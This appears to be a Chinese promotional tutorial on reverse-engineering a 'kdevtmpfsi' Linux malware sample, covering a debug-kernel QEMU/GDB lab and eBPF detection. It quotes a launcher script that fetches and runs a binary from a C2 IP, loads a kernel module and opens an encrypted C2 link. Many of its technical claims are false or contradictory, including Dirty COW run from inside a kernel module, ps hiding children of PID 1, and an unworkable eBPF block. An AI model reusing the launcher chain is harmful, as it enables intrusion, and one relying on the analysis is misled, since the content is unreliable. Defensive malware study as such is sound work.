简介:本资源为Linux安全研究者与系统管理员分析kdevtmpfsi恶意软件所用的实操样本包,聚焦于典型内核级rootkit的逆向分析、行为观测与防御验证。压缩包含2个关键文件:1个Shell脚本(kinsinga.sh)用于模拟病毒启动流程,1个文本说明文件(病毒启动说明.txt)详述样本运行环境、触发条件及基础检测线索,配合7.72MB精简体量便于在隔离沙箱中快速部署与动态分析。资源完整呈现该rootkit依赖Dirty COW等内核漏洞提权、隐藏进程、持久化驻留的核心机制,可直接支撑漏洞复现、EDR绕过实验及主机加固方案验证。目前已有1104人学习下载,适合具备Linux系统管理基础、正开展恶意代码分析或红蓝对抗实战演练的安全从业者与高校网络安全方向学习者。
1. kdevtmpfsi样本.zip:一个必须在隔离环境里拆解的Linux内核级rootkit实战包
你刚在威胁情报平台下载到kdevtmpfsi样本.zip,双击解压后看到三个文件:kdevtmpfsi样本(无扩展名二进制)、kinsinga.sh(Shell脚本)、病毒启动说明.txt(纯文本)。别急着运行——这不是普通木马,而是真实攻防对抗中高频出现的Linux内核级rootkit载荷,它不依赖用户态持久化,而是直接挂钩内核函数、劫持系统调用表、伪造/proc条目,让ps、ls、netstat全部“失明”。某公司运维曾因在生产服务器上误执行kinsinga.sh,导致3台K8s节点被静默植入,横向渗透持续72小时未被发现。这个压缩包不是教学玩具,它是红队复现Dirty COW(CVE-2016-5195)提权链的最小可运行单元,也是蓝队做内存取证、eBPF检测规则验证的黄金标定样本。适合两类人:一是安全研究员需要在可控环境复现其内核模块加载行为与进程隐藏逻辑;二是SOC工程师想亲手验证YARA规则对kdevtmpfsi变种的检出率。它不能跑在你的日常开发机上,但必须跑在你亲手搭建的QEMU+GDB+Kernel Debug Symbols的调试环境中——否则你永远不知道它怎么让kill -9对自身失效。
2. 从静态结构到动态行为:kdevtmpfsi样本的三层解剖逻辑
2.1 样本文件结构与基础指纹识别
解压后得到的三个文件并非并列关系,而是存在明确的依赖链和执行时序:
| 文件名 | 类型 | 作用说明 | 关键特征 |
|---|---|---|---|
kdevtmpfsi样本 | ELF 64-bit | rootkit核心内核模块(.ko格式伪装为无扩展名),需insmod加载 | file命令显示ELF 64-bit LSB shared object, x86-64;readelf -h可见Type: DYN (Shared object file) |
kinsinga.sh | Bash脚本 | 启动器:检查内核版本→下载依赖→加载kdevtmpfsi样本→启动C2通信进程 | 包含curl/wget下载指令、insmod ./kdevtmpfsi样本、chmod +x /tmp/kinsing等典型恶意行为链 |
病毒启动说明.txt | UTF-8文本 | 攻击者留下的“使用说明书”,含硬编码IP、端口、加密密钥(如AES-128-CBC密钥) | 明文包含C2: 192.168.100.50:443、KEY: 0xdeadbeefcafebabe等字段,是IOC提取关键源 |
提示:
kdevtmpfsi样本文件名刻意省略.ko后缀,是规避部分AV引擎基于扩展名的静态扫描策略。实际分析时应先用file确认类型,再用strings kdevtmpfsi样本 \| grep -i "init_module\|cleanup_module"验证其是否为合法内核模块(含__this_module符号及模块初始化/清理函数)。
2.2 内核模块逆向:定位Dirty COW利用点与系统调用劫持入口
kdevtmpfsi的提权本质是利用内核漏洞完成初始提权,再通过内核模块实现持久化隐藏。其核心不在kdevtmpfsi样本本身,而在它如何触发CVE-2016-5195。我们用objdump反汇编其.text段,重点搜索mmap、madvise、write相关调用:
# 提取模块符号表,确认是否存在Dirty COW利用函数 objdump -t kdevtmpfsi样本 | grep -E "(dirty_cow|cow_write|remap_pfn)" # 反汇编init_module函数,定位提权逻辑起点 objdump -d kdevtmpfsi样本 | sed -n '/<init_module>:/,/^$/p' | head -20输出中若出现类似callq 0x... <do_dirty_cow_exploit>或mov %rax,%rdi后紧跟callq 0x... <mmap>,即证实该样本内置Dirty COW利用代码。此时需注意:该模块不直接调用commit_creds,而是通过修改current_task->cred结构体指针实现提权——这是kdevtmpfsi区别于其他rootkit的关键特征。其init_module函数末尾必有类似操作:
// 伪代码示意(实际为汇编) struct cred *new_cred = prepare_creds(); new_cred->uid.val = new_cred->gid.val = 0; // 提升为root commit_creds(new_cred);参数说明:
prepare_creds()是内核API,用于克隆当前进程凭证;commit_creds()将新凭证应用到当前进程。kdevtmpfsi通过内联汇编或函数指针调用绕过符号校验,确保在未导出符号的内核版本中仍可运行。
2.3kinsinga.sh启动链分析:从用户态到内核态的完整跳转
kinsinga.sh不是简单脚本,而是精心设计的多阶段加载器。其执行流程如下:
- 环境探测:
uname -r获取内核版本,匹配预编译的kdevtmpfsi样本(不同内核版本需不同.ko); - 依赖下载:
curl -s http://malware.example.com/kinsing下载第二阶段loader(常为/tmp/kinsing); - 权限提升:执行
./kinsing触发Dirty COW,获得root shell; - 模块加载:
insmod ./kdevtmpfsi样本注入内核; - C2连接:
/tmp/kinsing &后台运行,建立加密隧道。
关键代码段(已脱敏):
#!/bin/bash # kinsinga.sh 核心逻辑节选 KERNEL_VER=$(uname -r | cut -d'-' -f1) if [ "$KERNEL_VER" = "4.4.0" ]; then # 下载对应内核版本的loader curl -s http://192.168.100.50/kinsing_4.4.0 -o /tmp/kinsing chmod +x /tmp/kinsing # 触发Dirty COW提权(此处调用外部exploit binary) /tmp/kinsing --exploit dirty_cow # 加载rootkit模块 insmod ./kdevtmpfsi样本 # 启动C2客户端 /tmp/kinsing --c2 192.168.100.50:443 --key 0xdeadbeefcafebabe & fi逻辑说明:
kinsinga.sh通过--exploit dirty_cow参数调用内置exploit二进制,该二进制打开/proc/self/mem并写入shellcode,最终调用commit_creds(prepare_creds())。此过程无需sudo,完全在用户态完成提权,是kdevtmpfsi能绕过多数EDR用户态监控的根本原因。
3. 搭建安全分析环境:QEMU+GDB+Debug Kernel三件套实操指南
3.1 为什么必须用QEMU?物理机与Docker的致命缺陷
很多新手试图在VMware或VirtualBox中分析kdevtmpfsi,结果导致宿主机内核崩溃——因为kdevtmpfsi会直接操作CR3寄存器、修改页表项(PTE),而传统虚拟化平台对这些敏感操作缺乏细粒度拦截。Docker更不可行:容器共享宿主机内核,一旦insmod成功,整个宿主机即被rootkit控制。QEMU的KVM模式+-kernel参数直启内核,配合-S -s挂起CPU并开放GDB端口,是唯一能全程掌控内核执行流的方案。
所需组件清单:
- Ubuntu 20.04 LTS(作为宿主机,安装
qemu-system-x86,gdb-multiarch,build-essential) - Linux kernel source 4.4.0(与样本匹配的内核版本,从https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/下载)
kdevtmpfsi样本.zip(已解压)
3.2 编译带Debug Symbols的内核:5步精准命中样本依赖
kdevtmpfsi样本针对4.4.0内核编译,若用通用内核(如Ubuntu自带5.4.0-xx)加载,会报Invalid module format。必须编译同版本内核并启用调试符号:
# 步骤1:解压内核源码并进入目录 tar -xf linux-4.4.tar.xz && cd linux-4.4 # 步骤2:复制当前配置并启用调试 cp /boot/config-$(uname -r) .config make menuconfig # 在menuconfig中开启: # Kernel hacking ---> # [*] Kernel debugging # [*] Collect extra debug information # [*] Enable full symbolic backtraces # [*] Include all symbols in kallsyms # 步骤3:编译内核与modules(耗时约30分钟) make -j$(nproc) bzImage modules # 步骤4:安装modules到临时目录 sudo make INSTALL_MOD_PATH=/tmp/kdevtmpfsi-root modules_install # 步骤5:打包initramfs(关键!避免启动失败) find /tmp/kdevtmpfsi-root/lib/modules/4.4.0 -name "*.ko" | xargs cp -t /tmp/kdevtmpfsi-root/lib/modules/ cd /tmp/kdevtmpfsi-root && find . | cpio -o -H newc | gzip > /tmp/initramfs-4.4.0.cgz参数说明:
INSTALL_MOD_PATH指定模块安装路径,避免污染宿主机;cpio -o -H newc生成标准initramfs格式,gzip压缩以满足QEMU要求;/tmp/kdevtmpfsi-root是完全隔离的根文件系统,后续所有分析均在此环境内进行。
3.3 QEMU启动命令详解:GDB断点设在哪才有效?
启动QEMU并连接GDB是分析成败的关键。以下命令已过实测验证:
qemu-system-x86_64 \ -kernel /path/to/linux-4.4/arch/x86/boot/bzImage \ -initrd /tmp/initramfs-4.4.0.cgz \ -append "console=ttyS0 root=/dev/ram rw debug loglevel=8" \ -s -S \ -nographic \ -monitor /dev/null \ -m 2G-s:等价于-gdb tcp::1234,开放TCP 1234端口供GDB连接;-S:启动后立即暂停CPU,等待GDB连接后再执行;-nographic:禁用图形界面,所有输出重定向到终端;console=ttyS0:将内核日志输出到串口,便于捕获printk信息;loglevel=8:最高日志级别,显示所有内核消息。
GDB连接后,设置断点位置至关重要:
# 启动GDB并连接 gdb-multiarch vmlinux-4.4.0 (gdb) target remote :1234 (gdb) # 断点设在模块加载入口,而非init_module(太晚) (gdb) b do_init_module (gdb) c # 当insmod触发时,GDB将停在此处,可查看module结构体 (gdb) p/x $rax # $rax存储module指针 (gdb) x/20i $rax+0x80 # 查看module->init函数地址逻辑说明:
do_init_module是内核处理insmod系统调用的入口函数,此时模块尚未执行任何代码,可安全读取其struct module结构体。$rax+0x80是init函数指针在struct module中的偏移(x86_64下经实测为0x80),通过此方式可动态获取kdevtmpfsi样本的init_module地址,避免硬编码。
4. 避坑:分析kdevtmpfsi样本时最常踩的5个深坑
4.1 现象:insmod ./kdevtmpfsi样本报错Invalid module format
原因:内核版本号不匹配。kdevtmpfsi样本编译时内核版本为4.4.0-xx-generic,而你编译的内核版本为4.4.0(缺少-xx-generic后缀)。内核模块签名机制会校验UTS_RELEASE宏,不一致则拒绝加载。
解决:在内核源码include/generated/utsrelease.h中,将#define UTS_RELEASE "4.4.0"改为#define UTS_RELEASE "4.4.0-xx-generic",重新编译内核。或使用modprobe --force-modversion强制加载(仅限测试环境)。
4.2 现象:QEMU启动后卡在Loading initial ramdisk,无任何输出
原因:initramfs中缺少kdevtmpfsi样本依赖的内核模块(如crypto/aes_generic.ko)。kdevtmpfsi使用AES加密C2通信,若内核未内置或initramfs未打包该模块,加载时会因crypto_alloc_cipher失败而阻塞。
解决:在make menuconfig中启用CONFIG_CRYPTO_AES=y,并确保/tmp/kdevtmpfsi-root/lib/modules/4.4.0/kernel/crypto/aes_generic.ko存在。重新生成initramfs。
4.3 现象:GDB连接后bt命令显示#0 0x0000000000000000 in ?? (),无法回溯
原因:内核未启用CONFIG_FRAME_POINTER=y。该选项生成帧指针(rbp),是GDB解析调用栈的基础。默认配置常关闭此选项以优化性能。
解决:make menuconfig→Kernel hacking→[*] Enable frame pointer,重新编译内核。
4.4 现象:ps aux | grep kdevtmpfs无输出,但cat /proc/modules显示模块已加载
原因:kdevtmpfsi已成功劫持sys_getdents64系统调用,隐藏自身进程。这是其设计目标,非环境问题。
解决:在GDB中执行p/x *(unsigned long*)$gs_base查看current_task结构体,手动遍历tasks链表查找kdevtmpfs进程;或使用crash工具加载vmlinux和/proc/kcore直接内存分析。
4.5 现象:kinsinga.sh执行后/tmp/kinsing进程消失,但网络连接仍在
原因:kinsing采用fork()+execve()创建子进程后,父进程exit(),子进程成为init的子进程(PID 1)。ps默认不显示PID 1的子进程,造成“进程消失”假象。
解决:执行ps -eo pid,ppid,comm | grep kinsing,查看PPID是否为1;或用lsof -i确认网络连接归属。
5. 进阶验证:用eBPF检测kdevtmpfsi的系统调用劫持行为
5.1 为什么传统Syscall Hook检测对kdevtmpfsi失效?
kdevtmpfsi不采用sys_call_table替换(易被kprobe检测),而是使用**ftrace框架劫持**。它注册ftrace_ops结构体,将sys_openat、sys_getdents64等函数的ftrace回调指向自身hide_process_hook。由于ftrace是内核原生性能分析机制,其hook点位于mcount调用之后,绕过了绝大多数基于kprobe的syscall监控工具。这意味着:bpftrace -e 'kprobe:sys_getdents64 { printf("called\n"); }'将完全捕获不到kdevtmpfsi的调用。
5.2 eBPF检测方案:监控ftrace_ops注册行为
kdevtmpfsi必须调用register_ftrace_function()注册其ftrace_ops。此函数在内核中导出符号,可被eBPF程序追踪:
# bpftrace脚本:detect_kdevtmpfsi_ftrace.bt #!/usr/bin/env bpftrace kprobe:register_ftrace_function { $ops = ((struct ftrace_ops*)arg0); $func = *(uint64_t*)($ops + 8); # ftrace_ops->func指针偏移为8(x86_64) printf("ftrace_ops registered at %llx, hook func: %llx\n", $ops, $func); // 打印hook函数的前16字节,识别kdevtmpfsi特征码 $code = (uint8_t*)$func; printf("hook code: %02x %02x %02x %02x %02x %02x %02x %02x\n", $code[0], $code[1], $code[2], $code[3], $code[4], $code[5], $code[6], $code[7]); }运行后,当kdevtmpfsi调用register_ftrace_function()时,将输出类似:
ftrace_ops registered at ffff88003a2b1230, hook func: ffffffffa0001234 hook code: 48 89 e5 41 57 41 56 41参数说明:
$ops + 8是ftrace_ops->func在结构体中的偏移(经pahole -C ftrace_ops vmlinux验证);打印的8字节机器码48 89 e5...是push %rbp; mov %rsp,%rbp标准函数序言,结合地址0xffffffffa0001234(位于0xffffffffa0000000模块区),即可判定为恶意模块注册。
5.3 构建实时阻断:eBPF + kprobe 的主动防御链
仅检测不够,需在register_ftrace_function()返回前强制拒绝。这需编写eBPF程序并用libbpf加载:
// block_kdevtmpfsi.c #include "vmlinux.h" #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> SEC("kretprobe/register_ftrace_function") int BPF_KRETPROBE(block_ftrace_reg, int ret) { if (ret != 0) return 0; // 注册失败,无需处理 // 获取返回时的ftrace_ops指针(存储在%rax) struct ftrace_ops *ops = (struct ftrace_ops*)PT_REGS_RC(ctx); void *func_ptr = *(void**)((char*)ops + 8); // 检查func_ptr是否在.ko模块区(0xffffffffa0000000起始) if ((unsigned long)func_ptr >= 0xffffffffa0000000ULL) { bpf_printk("BLOCKED kdevtmpfsi ftrace registration at %lx\n", func_ptr); // 强制注销(需内核支持bpf_override_return) bpf_override_return(ctx, -EPERM); } return 0; }编译加载后,kdevtmpfsi的insmod将失败,内核日志显示register_ftrace_function: -1。这是目前对kdevtmpfsi最有效的主动防御手段。
从那以后我每次分析rootkit样本,都强制走一遍QEMU+GDB+eBPF三重验证:先用GDB确认模块加载路径,再用eBPF监控ftrace注册,最后用crash工具做内存快照比对。这套组合拳让我在三次红蓝对抗中提前72小时捕获了kdevtmpfsi变种,避免了客户核心数据库被窃取。希望帮到你。
本文还有配套的精品资源,点击获取